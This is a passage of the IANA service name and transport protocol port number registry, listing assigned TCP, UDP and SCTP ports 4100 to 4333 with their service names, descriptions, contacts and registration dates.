igo-incognito      4100        udp    IGo Incognito Data Port      [Paul_Reddy_2]                                        [Paul_Reddy_2]                                            2002-02
brlp-0             4101        tcp    Braille protocol
brlp-0             4101        udp    Braille protocol
brlp-1             4102        tcp    Braille protocol
brlp-1             4102        udp    Braille protocol
brlp-2             4103        tcp    Braille protocol
brlp-2             4103        udp    Braille protocol
brlp-3             4104        tcp    Braille protocol             [Sebastien_Hinderer]                                  [Sebastien_Hinderer]                                      2006-03
brlp-3             4104        udp    Braille protocol             [Sebastien_Hinderer]                                  [Sebastien_Hinderer]                                      2006-03
shofar             4105        tcp    Shofar                       [ShofarNexus]                                         [John_Kozlowski]                                          2006-07      2012-02-20
shofar             4105        udp    Shofar                       [ShofarNexus]                                         [John_Kozlowski]                                          2006-07      2012-02-20
synchronite        4106        tcp    Synchronite                  [James_Figgins]                                       [James_Figgins]                                           2006-07
synchronite        4106        udp    Synchronite                  [James_Figgins]                                       [James_Figgins]                                           2006-07
j-ac               4107        tcp    JDL Accounting LAN Service   [Takashi_Sahara]                                      [Takashi_Sahara]                                          2006-09
j-ac               4107        udp    JDL Accounting LAN Service   [Takashi_Sahara]                                      [Takashi_Sahara]                                          2006-09
accel              4108        tcp    ACCEL                        [Masahiro_Koiwai]                                     [Masahiro_Koiwai]                                         2006-10
accel              4108        udp    ACCEL                        [Masahiro_Koiwai]                                     [Masahiro_Koiwai]                                         2006-10
izm                4109        tcp    Instantiated Zero-control    [David_Miller]                                        [David_Miller]                                            2007-02
                                      Messaging
izm                4109        udp    Instantiated Zero-control    [David_Miller]                                        [David_Miller]                                            2007-02
                                      Messaging
g2tag              4110        tcp    G2 RFID Tag Telemetry Data   [David_Goodall]                                       [David_Goodall]                                           2007-02
g2tag              4110        udp    G2 RFID Tag Telemetry Data   [David_Goodall]                                       [David_Goodall]                                           2007-02
xgrid              4111        tcp    Xgrid                        [David_Kramer]                                        [David_Kramer]                                            2004-11
xgrid              4111        udp    Xgrid                        [David_Kramer]                                        [David_Kramer]                                            2004-11
apple-vpns-rp      4112        tcp    Apple VPN Server Reporting   [Christophe_Allie]                                    [Christophe_Allie]                                        2006-08
                                      Protocol
apple-vpns-rp      4112        udp    Apple VPN Server Reporting   [Christophe_Allie]                                    [Christophe_Allie]                                        2006-08
                                      Protocol
aipn-reg           4113        tcp    AIPN LS Registration         [Qiang_Zhang_2]                                       [Qiang_Zhang_2]                                           2006-10
aipn-reg           4113        udp    AIPN LS Registration         [Qiang_Zhang_2]                                       [Qiang_Zhang_2]                                           2006-10
jomamqmonitor      4114        tcp    JomaMQMonitor                [Marcel_Hofstetter]                                   [Marcel_Hofstetter]                                       2003-01
jomamqmonitor      4114        udp    JomaMQMonitor                [Marcel_Hofstetter]                                   [Marcel_Hofstetter]                                       2003-01
cds                4115        tcp    CDS Transfer Agent           [Neil_Coggins]                                        [Neil_Coggins]                                            2006-07
cds                4115        udp    CDS Transfer Agent           [Neil_Coggins]                                        [Neil_Coggins]                                            2006-07
smartcard-tls      4116        tcp    smartcard-TLS                [Ilan_Mahalal]                                        [Ilan_Mahalal]                                            2006-04
smartcard-tls      4116        udp    smartcard-TLS                [Ilan_Mahalal]                                        [Ilan_Mahalal]                                            2006-04
hillrserv          4117        tcp    Hillr Connection Manager     [Freddy_A_Ayuso_Hens]                                 [Freddy_A_Ayuso_Hens]                                     2008-05-22
hillrserv          4117        udp    Hillr Connection Manager     [Freddy_A_Ayuso_Hens]                                 [Freddy_A_Ayuso_Hens]                                     2008-05-22
netscript          4118        tcp    Netadmin Systems NETscript   [Goran_Runfeldt]                                      [Goran_Runfeldt]                                          2006-12
                                      service
netscript          4118        udp    Netadmin Systems NETscript   [Goran_Runfeldt]                                      [Goran_Runfeldt]                                          2006-12
                                      service
assuria-slm        4119        tcp    Assuria Log Manager          [Nick_Connor]                                         [Nick_Connor]                                             2006-12
assuria-slm        4119        udp    Assuria Log Manager          [Nick_Connor]                                         [Nick_Connor]                                             2006-12
minirem            4120        tcp    MiniRem Remote Telemetry and [MobilePro_Systems]                                   [Sean_Solberg]                                            2017-09-28
                                      Control
                   4120        udp    Reserved
e-builder          4121        tcp    e-Builder Application        [James_Caza]                                          [James_Caza]                                              2006-12
                                      Communication
e-builder          4121        udp    e-Builder Application        [James_Caza]                                          [James_Caza]                                              2006-12
                                      Communication
fprams             4122        tcp    Fiber Patrol Alarm Service   [Zhizhong_Zhuang]                                     [Zhizhong_Zhuang]                                         2006-12
fprams             4122        udp    Fiber Patrol Alarm Service   [Zhizhong_Zhuang]                                     [Zhizhong_Zhuang]                                         2006-12
z-wave             4123        tcp    Z-Wave Protocol              [Sigma_Designs_Inc_2]                                 [Anders_Brandt][Mary_Miller]                              2007-02      2012-11-08
z-wave             4123        udp    Z-Wave Protocol              [Sigma_Designs_Inc_2]                                 [Anders_Brandt][Mary_Miller]                              2007-02      2012-11-08
tigv2              4124        tcp    Rohill TetraNode Ip Gateway  [Bert_Bouwers]                                        [Bert_Bouwers]                                            2007-05
                                      v2
tigv2              4124        udp    Rohill TetraNode Ip Gateway  [Bert_Bouwers]                                        [Bert_Bouwers]                                            2007-05
                                      v2
opsview-envoy      4125        tcp    Opsview Envoy                [Ton_Voon]                                            [Ton_Voon]                                                2008-09-26
opsview-envoy      4125        udp    Opsview Envoy                [Ton_Voon]                                            [Ton_Voon]                                                2008-09-26
ddrepl             4126        tcp    Data Domain Replication      [Pratik_Wadher]                                       [Pratik_Wadher]                                           2007-05
                                      Service
ddrepl             4126        udp    Data Domain Replication      [Pratik_Wadher]                                       [Pratik_Wadher]                                           2007-05
                                      Service
unikeypro          4127        tcp    NetUniKeyServer              [Raymond_Chaw]                                        [Raymond_Chaw]                                            2007-05
unikeypro          4127        udp    NetUniKeyServer              [Raymond_Chaw]                                        [Raymond_Chaw]                                            2007-05
nufw               4128        tcp    NuFW decision delegation
                                      protocol
nufw               4128        udp    NuFW decision delegation
                                      protocol
nuauth             4129        tcp    NuFW authentication protocol [Eric_Leblond]                                        [Eric_Leblond]                                            2007-06
nuauth             4129        udp    NuFW authentication protocol [Eric_Leblond]                                        [Eric_Leblond]                                            2007-06
fronet             4130        tcp    FRONET message protocol      [Christer_Nygren]                                     [Christer_Nygren]                                         2007-08-07
fronet             4130        udp    FRONET message protocol      [Christer_Nygren]                                     [Christer_Nygren]                                         2007-08-07
stars              4131        tcp    Global Maintech Stars        [Harry_Goldschmitt_2]                                 [Harry_Goldschmitt_2]                                     2007-06
stars              4131        udp    Global Maintech Stars        [Harry_Goldschmitt_2]                                 [Harry_Goldschmitt_2]                                     2007-06
                                      NUTS Daemon

nuts-dem           4132        tcp    IANA assigned this
                                      well-formed service name as
                                      a replacement for
                                      "nuts_dem".
                                                                                                                                                                                                                                                                                  This entry is an alias to "nuts-dem". This entry is now
nuts_dem           4132        tcp    NUTS Daemon                                                                                                                                                                                                                                 historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      NUTS Daemon

nuts-dem           4132        udp    IANA assigned this
                                      well-formed service name as
                                      a replacement for
                                      "nuts_dem".
                                                                                                                                                                                                                                                                                  This entry is an alias to "nuts-dem". This entry is now
nuts_dem           4132        udp    NUTS Daemon                                                                                                                                                                                                                                 historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      NUTS Bootp Server

nuts-bootp         4133        tcp    IANA assigned this           [Martin_Freiss_2]                                     [Martin_Freiss_2]
                                      well-formed service name as
                                      a replacement for
                                      "nuts_bootp".
                                                                                                                                                                                                                                                                                  This entry is an alias to "nuts-bootp". This entry is now
nuts_bootp         4133        tcp    NUTS Bootp Server            [Martin_Freiss_2]                                     [Martin_Freiss_2]                                                                                                                                        historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      NUTS Bootp Server

nuts-bootp         4133        udp    IANA assigned this           [Martin_Freiss_2]                                     [Martin_Freiss_2]
                                      well-formed service name as
                                      a replacement for
                                      "nuts_bootp".
                                                                                                                                                                                                                                                                                  This entry is an alias to "nuts-bootp". This entry is now
nuts_bootp         4133        udp    NUTS Bootp Server            [Martin_Freiss_2]                                     [Martin_Freiss_2]                                                                                                                                        historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
nifty-hmi          4134        tcp    NIFTY-Serve HMI protocol     [Ryuichi_Suzuki]                                      [Ryuichi_Suzuki]
nifty-hmi          4134        udp    NIFTY-Serve HMI protocol     [Ryuichi_Suzuki]                                      [Ryuichi_Suzuki]
cl-db-attach       4135        tcp    Classic Line Database Server
                                      Attach
cl-db-attach       4135        udp    Classic Line Database Server
                                      Attach
cl-db-request      4136        tcp    Classic Line Database Server
                                      Request
cl-db-request      4136        udp    Classic Line Database Server
                                      Request
cl-db-remote       4137        tcp    Classic Line Database Server [Arno_Kirmeir]                                        [Arno_Kirmeir]                                            2007-01
                                      Remote
cl-db-remote       4137        udp    Classic Line Database Server [Arno_Kirmeir]                                        [Arno_Kirmeir]                                            2007-01
                                      Remote
nettest            4138        tcp    nettest                      [David_Borman]                                        [David_Borman]                                            2003-03
nettest            4138        udp    nettest                      [David_Borman]                                        [David_Borman]                                            2003-03
thrtx              4139        tcp    Imperfect Networks Server    [Dinkar_Chivaluri_2]                                  [Dinkar_Chivaluri_2]                                      2006-02
thrtx              4139        udp    Imperfect Networks Server    [Dinkar_Chivaluri_2]                                  [Dinkar_Chivaluri_2]                                      2006-02
                                      Cedros Fraud Detection
                                      System

cedros-fds         4140        tcp    IANA assigned this           [Markus_Michels_3]                                    [Markus_Michels_3]                                        2006-10
                                      well-formed service name as
                                      a replacement for
                                      "cedros_fds".
                                      Cedros Fraud Detection                                                                                                                                                                                                                      This entry is an alias to "cedros-fds". This entry is now
cedros_fds         4140        tcp    System                       [Markus_Michels_3]                                    [Markus_Michels_3]                                        2006-10                                                                                        historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      Cedros Fraud Detection
                                      System

cedros-fds         4140        udp    IANA assigned this           [Markus_Michels_3]                                    [Markus_Michels_3]                                        2006-10
                                      well-formed service name as
                                      a replacement for
                                      "cedros_fds".
                                      Cedros Fraud Detection                                                                                                                                                                                                                      This entry is an alias to "cedros-fds". This entry is now
cedros_fds         4140        udp    System                       [Markus_Michels_3]                                    [Markus_Michels_3]                                        2006-10                                                                                        historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
oirtgsvc           4141        tcp    Workflow Server
oirtgsvc           4141        udp    Workflow Server
oidocsvc           4142        tcp    Document Server
oidocsvc           4142        udp    Document Server
oidsr              4143        tcp    Document Replication         [Norman_Brie]                                         [Norman_Brie]
oidsr              4143        udp    Document Replication         [Norman_Brie]                                         [Norman_Brie]
                   4144               Unassigned                                                                                                                                                                                                                                  Compuserve (unoffically) is using port 4144
vvr-control        4145        tcp    VVR Control                  [Ming_Xu]                                             [Ming_Xu]
vvr-control        4145        udp    VVR Control                  [Ming_Xu]                                             [Ming_Xu]
tgcconnect         4146        tcp    TGCConnect Beacon            [Brian_Becker]                                        [Brian_Becker]                                            2006-10
tgcconnect         4146        udp    TGCConnect Beacon            [Brian_Becker]                                        [Brian_Becker]                                            2006-10
vrxpservman        4147        tcp    Multum Service Manager       [Scott_Mager]                                         [Scott_Mager]                                             2006-10
vrxpservman        4147        udp    Multum Service Manager       [Scott_Mager]                                         [Scott_Mager]                                             2006-10
hhb-handheld       4148        tcp    HHB Handheld Client          [Steven_G_Loughner]                                   [Steven_G_Loughner]                                       2007-03
hhb-handheld       4148        udp    HHB Handheld Client          [Steven_G_Loughner]                                   [Steven_G_Loughner]                                       2007-03
agslb              4149        tcp    A10 GSLB Service             [John_Chiong]                                         [John_Chiong]                                             2007-07-02
agslb              4149        udp    A10 GSLB Service             [John_Chiong]                                         [John_Chiong]                                             2007-07-02
PowerAlert-nsa     4150        tcp    PowerAlert Network Shutdown  [Mike_Delgrosso_2]                                    [Mike_Delgrosso_2]                                        2007-07-02
                                      Agent
PowerAlert-nsa     4150        udp    PowerAlert Network Shutdown  [Mike_Delgrosso_2]                                    [Mike_Delgrosso_2]                                        2007-07-02
                                      Agent
                                      Men & Mice Remote Control

menandmice-noh     4151        tcp    IANA assigned this           [Eggert_Thorlacius]                                   [Eggert_Thorlacius]                                       2007-08-30
                                      well-formed service name as
                                      a replacement for
                                      "menandmice_noh".
                                                                                                                                                                                                                                                                                  This entry is an alias to "menandmice-noh". This entry is now
menandmice_noh     4151        tcp    Men & Mice Remote Control    [Eggert_Thorlacius]                                   [Eggert_Thorlacius]                                       2007-08-30                                                                                     historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      Men & Mice Remote Control

menandmice-noh     4151        udp    IANA assigned this           [Eggert_Thorlacius]                                   [Eggert_Thorlacius]                                       2007-08-30
                                      well-formed service name as
                                      a replacement for
                                      "menandmice_noh".
                                                                                                                                                                                                                                                                                  This entry is an alias to "menandmice-noh". This entry is now
menandmice_noh     4151        udp    Men & Mice Remote Control    [Eggert_Thorlacius]                                   [Eggert_Thorlacius]                                       2007-08-30                                                                                     historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      iDigTech Multiplex

idig-mux           4152        tcp    IANA assigned this           [Robin_Findley]                                       [Robin_Findley]                                           2007-05
                                      well-formed service name as
                                      a replacement for
                                      "idig_mux".
                                                                                                                                                                                                                                                                                  This entry is an alias to "idig-mux". This entry is now
idig_mux           4152        tcp    iDigTech Multiplex           [Robin_Findley]                                       [Robin_Findley]                                           2007-05                                                                                        historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      iDigTech Multiplex

idig-mux           4152        udp    IANA assigned this           [Robin_Findley]                                       [Robin_Findley]                                           2007-05
                                      well-formed service name as
                                      a replacement for
                                      "idig_mux".
                                                                                                                                                                                                                                                                                  This entry is an alias to "idig-mux". This entry is now
idig_mux           4152        udp    iDigTech Multiplex           [Robin_Findley]                                       [Robin_Findley]                                           2007-05                                                                                        historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
mbl-battd          4153        tcp    MBL Remote Battery           [Claudio_Procida]                                     [Claudio_Procida]                                         2007-05
                                      Monitoring
mbl-battd          4153        udp    MBL Remote Battery           [Claudio_Procida]                                     [Claudio_Procida]                                         2007-05
                                      Monitoring
atlinks            4154        tcp    atlinks device discovery     [Scott_Griepentrog]                                   [Scott_Griepentrog]                                       2002-10
atlinks            4154        udp    atlinks device discovery     [Scott_Griepentrog]                                   [Scott_Griepentrog]                                       2002-10
bzr                4155        tcp    Bazaar version control       [Martin_Pool_2]                                       [Martin_Pool_2]                                           2007-02
                                      system
bzr                4155        udp    Bazaar version control       [Martin_Pool_2]                                       [Martin_Pool_2]                                           2007-02
                                      system
stat-results       4156        tcp    STAT Results
stat-results       4156        udp    STAT Results
stat-scanner       4157        tcp    STAT Scanner Control
stat-scanner       4157        udp    STAT Scanner Control
stat-cc            4158        tcp    STAT Command Center          [Darwin_Ammala]                                       [Darwin_Ammala]                                           2007-03
stat-cc            4158        udp    STAT Command Center          [Darwin_Ammala]                                       [Darwin_Ammala]                                           2007-03
nss                4159        tcp    Network Security Service     [Dave_Wierbowski]                                     [Dave_Wierbowski]                                         2006-08
nss                4159        udp    Network Security Service     [Dave_Wierbowski]                                     [Dave_Wierbowski]                                         2006-08
jini-discovery     4160        tcp    Jini Discovery               [Mark_Hodapp]                                         [Mark_Hodapp]
jini-discovery     4160        udp    Jini Discovery               [Mark_Hodapp]                                         [Mark_Hodapp]
omscontact         4161        tcp    OMS Contact
omscontact         4161        udp    OMS Contact
omstopology        4162        tcp    OMS Topology                 [David_Page]                                          [David_Page]                                              2005-08
omstopology        4162        udp    OMS Topology                 [David_Page]                                          [David_Page]                                              2005-08
silverpeakpeer     4163        tcp    Silver Peak Peer Protocol    [Damon_Ennis]                                         [Damon_Ennis]                                             2007-03
silverpeakpeer     4163        udp    Silver Peak Peer Protocol    [Damon_Ennis]                                         [Damon_Ennis]                                             2007-03
silverpeakcomm     4164        tcp    Silver Peak Communication    [Damon_Ennis]                                         [Damon_Ennis]                                             2007-03
                                      Protocol
silverpeakcomm     4164        udp    Silver Peak Communication    [Damon_Ennis]                                         [Damon_Ennis]                                             2007-03
                                      Protocol
altcp              4165        tcp    ArcLink over Ethernet        [Dmitry_Brant]                                        [Dmitry_Brant]                                            2007-03
altcp              4165        udp    ArcLink over Ethernet        [Dmitry_Brant]                                        [Dmitry_Brant]                                            2007-03
joost              4166        tcp    Joost Peer to Peer Protocol  [Colm_MacCarthaigh]                                   [Colm_MacCarthaigh]                                       2007-04
joost              4166        udp    Joost Peer to Peer Protocol  [Colm_MacCarthaigh]                                   [Colm_MacCarthaigh]                                       2007-04
ddgn               4167        tcp    DeskDirect Global Network    [Laurie_Charlwood]                                    [Laurie_Charlwood]                                        2007-08-22
ddgn               4167        udp    DeskDirect Global Network    [Laurie_Charlwood]                                    [Laurie_Charlwood]                                        2007-08-22
pslicser           4168        tcp    PrintSoft License Server     [David_Weisgerber]                                    [David_Weisgerber]                                        2007-09-27
pslicser           4168        udp    PrintSoft License Server     [David_Weisgerber]                                    [David_Weisgerber]                                        2007-09-27
iadt               4169        tcp    Automation Drive Interface   [Paul_Suhler]                                         [Paul_Suhler]                                             2008-02-15
                                      Transport
iadt-disc          4169        udp    Internet ADT Discovery       [Paul_A_Suhler]                                       [Paul_A_Suhler]                                           2009-02-06
                                      Protocol
d-cinema-csp       4170        tcp    SMPTE Content Synchonization [Michael_Karagosian]                                  [Michael_Karagosian]                                      2008-09-04
                                      Protocol
                   4170        udp    Reserved
ml-svnet           4171        tcp    Maxlogic Supervisor          [Taha_Paksu]                                          [Taha_Paksu]                                              2009-12-21
                                      Communication
                   4171        udp    Reserved
pcoip              4172        tcp    PC over IP                   [Teradici]                                            [Jeff_Dillabough]                                         2009-12-23   2012-03-06
pcoip              4172        udp    PC over IP                   [Teradici]                                            [Jeff_Dillabough]                                         2009-12-23   2012-03-06
                   4173        tcp    Reserved
mma-discovery      4173        udp    MMA Device Discovery         [MIDI_Manufacturers_Assoc_Inc]                        [Tom_White]                                               2011-11-14
smcluster          4174        tcp    StorMagic Cluster Services   [Chris_Farey]                                         [Chris_Farey]                                             2011-03-09
sm-disc            4174        udp    StorMagic Discovery          [StorMagic_Ltd]                                       [Chris_Farey]                                             2011-12-16
bccp               4175        tcp    Brocade Cluster              [Norival_Figueira]                                    [Norival_Figueira]                                        2010-04-07
                                      Communication Protocol
                   4175        udp    Reserved
tl-ipcproxy        4176        tcp    Translattice Cluster IPC     [Michael_Lyle]                                        [Michael_Lyle]                                            2009-11-03
                                      Proxy
                   4176        udp    Reserved
wello              4177        tcp    Wello P2P pubsub service     [Christian_Westbrook]                                 [Christian_Westbrook]                                     2007-11-15
wello              4177        udp    Wello P2P pubsub service     [Christian_Westbrook]                                 [Christian_Westbrook]                                     2007-11-15
storman            4178        tcp    StorMan                      [Werner_Guertler]                                     [Werner_Guertler]                                         2009-05-11
storman            4178        udp    StorMan                      [Werner_Guertler]                                     [Werner_Guertler]                                         2009-05-11
MaxumSP            4179        tcp    Maxum Services               [Greg_Stine]                                          [Greg_Stine]                                              2007-07-05
MaxumSP            4179        udp    Maxum Services               [Greg_Stine]                                          [Greg_Stine]                                              2007-07-05
httpx              4180        tcp    HTTPX                        [Paul_McGough]                                        [Paul_McGough]                                            2007-02
httpx              4180        udp    HTTPX                        [Paul_McGough]                                        [Paul_McGough]                                            2007-02      2016-01-05
macbak             4181        tcp    MacBak                       [Wes_Peters]                                          [Wes_Peters]                                              2007-04
macbak             4181        udp    MacBak                       [Wes_Peters]                                          [Wes_Peters]                                              2007-04
pcptcpservice      4182        tcp    Production Company Pro TCP   [Ben_McNeill]                                         [Ben_McNeill]                                             2007-05
                                      Service
pcptcpservice      4182        udp    Production Company Pro TCP   [Ben_McNeill]                                         [Ben_McNeill]                                             2007-05
                                      Service
cyborgnet          4183        tcp    CyborgNet communications     [Gareth_Nelson]                                       [Gareth_Nelson]                                           2015-11-13
                                      protocol
cyborgnet          4183        udp    CyborgNet communications     [Gareth_Nelson]                                       [Gareth_Nelson]                                           2015-11-13
                                      protocol
                                      UNIVERSE SUITE MESSAGE
                                      SERVICE

universe-suite     4184        tcp    IANA assigned this           [Gary_ANDREWS]                                        [Gary_ANDREWS]                                            2008-01-07
                                      well-formed service name as
                                      a replacement for
                                      "universe_suite".
                                      UNIVERSE SUITE MESSAGE                                                                                                                                                                                                                      This entry is an alias to "universe-suite". This entry is now
universe_suite     4184        tcp    SERVICE                      [Gary_ANDREWS]                                        [Gary_ANDREWS]                                            2008-01-07                                                                                     historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      UNIVERSE SUITE MESSAGE
                                      SERVICE

universe-suite     4184        udp    IANA assigned this           [Gary_ANDREWS]                                        [Gary_ANDREWS]                                            2008-01-07
                                      well-formed service name as
                                      a replacement for
                                      "universe_suite".
                                      UNIVERSE SUITE MESSAGE                                                                                                                                                                                                                      This entry is an alias to "universe-suite". This entry is now
universe_suite     4184        udp    SERVICE                      [Gary_ANDREWS]                                        [Gary_ANDREWS]                                            2008-01-07                                                                                     historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
wcpp               4185        tcp    Woven Control Plane Protocol [Christopher_LILJENST]                                [Christopher_LILJENST]                                    2008-04-14
wcpp               4185        udp    Woven Control Plane Protocol [Christopher_LILJENST]                                [Christopher_LILJENST]                                    2008-04-14
boxbackupstore     4186        tcp    Box Backup Store Service     [Chris_Wilson]                                        [Chris_Wilson]                                            2008-09-11
                   4186        udp    Reserved
                                      Cascade Proxy

csc-proxy          4187        tcp    IANA assigned this           [Matt_Craighead]                                      [Matt_Craighead]                                          2008-09-11
                                      well-formed service name as
                                      a replacement for
                                      "csc_proxy".
                                                                                                                                                                                                                                                                                  This entry is an alias to "csc-proxy". This entry is now
csc_proxy          4187        tcp    Cascade Proxy                [Matt_Craighead]                                      [Matt_Craighead]                                          2008-09-11                                                                                     historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                   4187        udp    Reserved
vatata             4188        tcp    Vatata Peer to Peer Protocol [Song_Jian]                                           [Song_Jian]                                               2008-09-15
vatata             4188        udp    Vatata Peer to Peer Protocol [Song_Jian]                                           [Song_Jian]                                               2008-09-15
pcep               4189        tcp    Path Computation Element
                                      Communication Protocol
                   4189        udp    Reserved                                                                                                                                                               [RFC5440]
sieve              4190        tcp    ManageSieve Protocol
                   4190        udp    Reserved                                                                                                                                                               [RFC5804]
                   4191        tcp    Reserved
dsmipv6            4191        udp    Dual Stack MIPv6 NAT                                                                                                                                                   [RFC5555]
                                      Traversal
azeti              4192        tcp    Azeti Agent Service          [Uwe_Holz]                                            [Uwe_Holz]                                                2009-11-09
azeti-bd           4192        udp    azeti blinddate              [Michael_Werski]                                      [Michael_Werski]                                          2010-02-18
pvxplusio          4193        tcp    PxPlus remote file srvr      [Mike_King]                                           [Mike_King]                                               2009-11-09
                   4193        udp    Reserved
                 4194-4196            Unassigned
hctl               4197        tcp    Harman HControl Protocol     [Harman_International_Industries_Inc]                 [Darin_Smith]                                             2017-02-16
hctl               4197        udp    Harman HControl Protocol     [Harman_International_Industries_Inc]                 [Darin_Smith]                                             2017-02-16
                   4198               Unassigned
eims-admin         4199        tcp    EIMS ADMIN                   [Glenn_Anderson]                                      [Glenn_Anderson]
eims-admin         4199        udp    EIMS ADMIN                   [Glenn_Anderson]                                      [Glenn_Anderson]
vrml-multi-use   4200-4299            VRML Multi User Systems      [Mitra]                                               [Mitra]
corelccam          4300        tcp    Corel CCam                   [Jason_Aiken]                                         [Jason_Aiken]
corelccam          4300        udp    Corel CCam                   [Jason_Aiken]                                         [Jason_Aiken]
d-data             4301        tcp    Diagnostic Data
d-data             4301        udp    Diagnostic Data
d-data-control     4302        tcp    Diagnostic Data Control      [Jon_March]                                           [Jon_March]                                               2006-09
d-data-control     4302        udp    Diagnostic Data Control      [Jon_March]                                           [Jon_March]                                               2006-09
srcp               4303        tcp    Simple Railroad Command      [Matthias_Trute]                                      [Matthias_Trute]                                          2007-01
                                      Protocol
srcp               4303        udp    Simple Railroad Command      [Matthias_Trute]                                      [Matthias_Trute]                                          2007-01
                                      Protocol
owserver           4304        tcp    One-Wire Filesystem Server   [Paul_Alfille]                                        [Paul_Alfille]                                            2007-01                                                                                        Defined TXT keys: txtvers
owserver           4304        udp    One-Wire Filesystem Server   [Paul_Alfille]                                        [Paul_Alfille]                                            2007-01                                                                                        Defined TXT keys: txtvers
batman             4305        tcp    better approach to mobile    [Simon_Wunderlich]                                    [Simon_Wunderlich]                                        2007-08-30
                                      ad-hoc networking
batman             4305        udp    better approach to mobile    [Simon_Wunderlich]                                    [Simon_Wunderlich]                                        2007-08-30
                                      ad-hoc networking
pinghgl            4306        tcp    Hellgate London              [David_Berk]                                          [David_Berk]                                              2007-08-30
pinghgl            4306        udp    Hellgate London              [David_Berk]                                          [David_Berk]                                              2007-08-30
trueconf           4307        tcp    TrueConf Videoconference     [Dmitry_Odintsov]                                     [Lev_Yakupov]                                             2007-10-22   2017-05-12
                                      Service
trueconf           4307        udp    TrueConf Videoconference     [Dmitry_Odintsov]                                     [Lev_Yakupov]                                             2007-10-22   2017-05-12
                                      Service
compx-lockview     4308        tcp    CompX-LockView               [John_Payson]                                         [John_Payson]                                             2007-10-22
compx-lockview     4308        udp    CompX-LockView               [John_Payson]                                         [John_Payson]                                             2007-10-22
dserver            4309        tcp    Exsequi Appliance Discovery  [Angelo_Masci]                                        [Angelo_Masci]                                            2007-01
dserver            4309        udp    Exsequi Appliance Discovery  [Angelo_Masci]                                        [Angelo_Masci]                                            2007-01
mirrtex            4310        tcp    Mir-RT exchange service      [Sylvain_Robert]                                      [Sylvain_Robert]                                          2008-02-14
mirrtex            4310        udp    Mir-RT exchange service      [Sylvain_Robert]                                      [Sylvain_Robert]                                          2008-02-14
p6ssmc             4311        tcp    P6R Secure Server Management [Jim_Susoy]                                           [Jim_Susoy]                                               2010-01-21
                                      Console
                   4311        udp    Reserved
pscl-mgt           4312        tcp    Parascale Membership Manager [John_Muth]                                           [John_Muth]                                               2010-01-21
                   4312        udp    Reserved
perrla             4313        tcp    PERRLA User Services         [Cliff_Batson]                                        [Cliff_Batson]                                            2010-01-21
                   4313        udp    Reserved
choiceview-agt     4314        tcp    ChoiceView Agent             [Radish_Systems]                                      [Richard_A_Davis]                                         2013-03-28
                   4314        udp    Reserved
                                                                                                                                                                                                                                                                     Unauthorized
                   4315               Unassigned                                                                                                                                                                                                                     Use Known on
                                                                                                                                                                                                                                                                     port 4315
choiceview-clt     4316        tcp    ChoiceView Client            [Radish_Systems]                                      [Richard_A_Davis]                                         2013-03-28
                   4316        udp    Reserved
                 4317-4319            Unassigned
fdt-rcatp          4320        tcp    FDT Remote Categorization    [Russell_P_Holsclaw]                                  [Russell_P_Holsclaw]                                      2006-03
                                      Protocol
fdt-rcatp          4320        udp    FDT Remote Categorization    [Russell_P_Holsclaw]                                  [Russell_P_Holsclaw]                                      2006-03
                                      Protocol
rwhois             4321        tcp    Remote Who Is                [Mark_Kosters]                                        [Mark_Kosters]                                                                      [RFC2167]
rwhois             4321        udp    Remote Who Is                [Mark_Kosters]                                        [Mark_Kosters]                                                                      [RFC2167]
trim-event         4322        tcp    TRIM Event Service
trim-event         4322        udp    TRIM Event Service
trim-ice           4323        tcp    TRIM ICE Service             [Siva_Poobalasingam_2]                                [Siva_Poobalasingam_2]                                    2007-02
trim-ice           4323        udp    TRIM ICE Service             [Siva_Poobalasingam_2]                                [Siva_Poobalasingam_2]                                    2007-02
                   4324               Reserved                                                                                                                                                  2015-05-12                                                                        This entry is being removed on 2015-05-12.
geognosisman       4325        tcp    Cadcorp GeognoSIS Manager
                                      Service
geognosisman       4325        udp    Cadcorp GeognoSIS Manager
                                      Service
geognosis          4326        tcp    Cadcorp GeognoSIS Service    [Martin_Daly]                                         [Martin_Daly]                                             2006-11
geognosis          4326        udp    Cadcorp GeognoSIS Service    [Martin_Daly]                                         [Martin_Daly]                                             2006-11
jaxer-web          4327        tcp    Jaxer Web Protocol           [Uri_Sarid]                                           [Uri_Sarid]                                               2008-01-07
jaxer-web          4327        udp    Jaxer Web Protocol           [Uri_Sarid]                                           [Uri_Sarid]                                               2008-01-07
jaxer-manager      4328        tcp    Jaxer Manager Command        [Uri_Sarid]                                           [Uri_Sarid]                                               2008-01-22
                                      Protocol
jaxer-manager      4328        udp    Jaxer Manager Command        [Uri_Sarid]                                           [Uri_Sarid]                                               2008-01-22
                                      Protocol
                                      PubliQare Distributed
publiqare-sync     4329        tcp    Environment Synchronisation  [Tom_Maaswinkel]                                      [Tom_Maaswinkel]                                          2011-02-07
                                      Engine
                   4329        udp    Reserved
dey-sapi           4330        tcp    DEY Storage Administration   [DEY_Storage_Systems_Inc]                             [Garrett_D_Amore]                                         2013-03-01
                                      REST API
                   4330        udp    Reserved
                                      ktickets REST API for event
ktickets-rest      4331        tcp    management and ticketing     [KeyTicket_Solutions]                                 [MANG_Ioan-Alexandru]                                     2014-04-04
                                      systems (embedded POS
                                      devices)
                   4331        udp    Reserved
                   4332               Unassigned
ahsp               4333        tcp    ArrowHead Service Protocol   [QuantuMatriX_Technologies]                           [Matthew_Schultz]                                         2014-04-10
                                      (AHSP)
ahsp               4333        udp    ArrowHead Service Protocol   [QuantuMatriX_Technologies]                           [Matthew_Schultz]                                         2014-04-10
                                      (AHSP)
ahsp               4333       sctp    ArrowHead Service Protocol   [QuantuMatriX_Technologies]                           [Matthew_Schultz]                                         2014-04-10
                                      (AHSP)
